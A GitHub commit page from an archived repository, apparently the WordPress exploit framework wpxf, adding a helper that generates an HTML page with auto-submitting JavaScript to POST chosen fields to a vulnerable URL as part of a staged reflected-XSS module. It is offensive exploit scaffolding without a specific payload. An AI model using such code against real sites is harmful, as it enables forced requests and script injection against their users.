Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9c397dc

Browse files
committed
Add #create_basic_post_script and stub for #initial_script
1 parent 9eae0d3 commit 9c397dc

File tree

1 file changed

+30
-1
lines changed

1 file changed

+30
-1
lines changed

lib/wpxf/wordpress/staged_reflected_xss.rb

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,10 +32,39 @@ def url_with_xss
3232
normalize_uri(xss_url, initial_req_path)
3333
end
3434

35+
# @return [String] the initial script that should be served to automate a form submission to the vulnerable page.
36+
def initial_script
37+
nil
38+
end
39+
40+
# Create a basic POST script with the specified fields. All values in the script will be wrapped in double quotes.
41+
# @param url [String] the vulnerable URL.
42+
# @param fields [Hash] the fields and values to inject into the script.
43+
def create_basic_post_script(url, fields)
44+
json = ''
45+
fields.each_with_index do |(k, v), i|
46+
if i < fields.size - 1
47+
json += "\"#{k}\": \"#{v}\",\n"
48+
next
49+
end
50+
51+
json += "\"#{k}\": \"#{v}\"\n"
52+
end
53+
54+
%|
55+
<html><head></head><body><script>
56+
#{js_post}
57+
post('#{url}', {
58+
#{json}
59+
});
60+
</script></body></html>
61+
|
62+
end
63+
3564
# Run the module.
3665
# @return [Boolean] true if successful.
3766
def run
38-
unless respond_to? 'initial_script'
67+
if initial_script.nil?
3968
raise 'Required method "initial_script" has not been implemented'
4069
end
4170

0 commit comments

Comments
 (0)